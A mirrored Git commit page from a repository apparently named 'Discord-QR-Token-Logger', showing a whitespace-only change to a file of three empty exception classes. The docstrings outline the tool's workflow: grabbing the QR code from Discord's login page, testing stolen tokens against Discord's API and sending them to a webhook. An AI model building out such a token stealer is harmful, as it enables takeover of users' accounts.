mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-06-07 11:58:15 +00:00
Update exceptions.py
This commit is contained in:
parent
e7a8ddb932
commit
6518a9d6ef
@ -2,6 +2,7 @@ class QRCodeNotFound(Exception):
|
|||||||
"""This exception should be raised if a QR code can not be found
|
"""This exception should be raised if a QR code can not be found
|
||||||
on the Discord login page.
|
on the Discord login page.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
@ -9,6 +10,7 @@ class InvalidToken(Exception):
|
|||||||
"""This exception should be raised if a token does not receive
|
"""This exception should be raised if a token does not receive
|
||||||
a response status code of 200 when tested against Discord's API.
|
a response status code of 200 when tested against Discord's API.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
@ -16,4 +18,5 @@ class WebhookSendFailure(Exception):
|
|||||||
"""This exception should be raised if the token webhook fails
|
"""This exception should be raised if the token webhook fails
|
||||||
to send, for whatever reason.
|
to send, for whatever reason.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
pass
|
pass
|
||||||
|
Loading…
x
Reference in New Issue
Block a user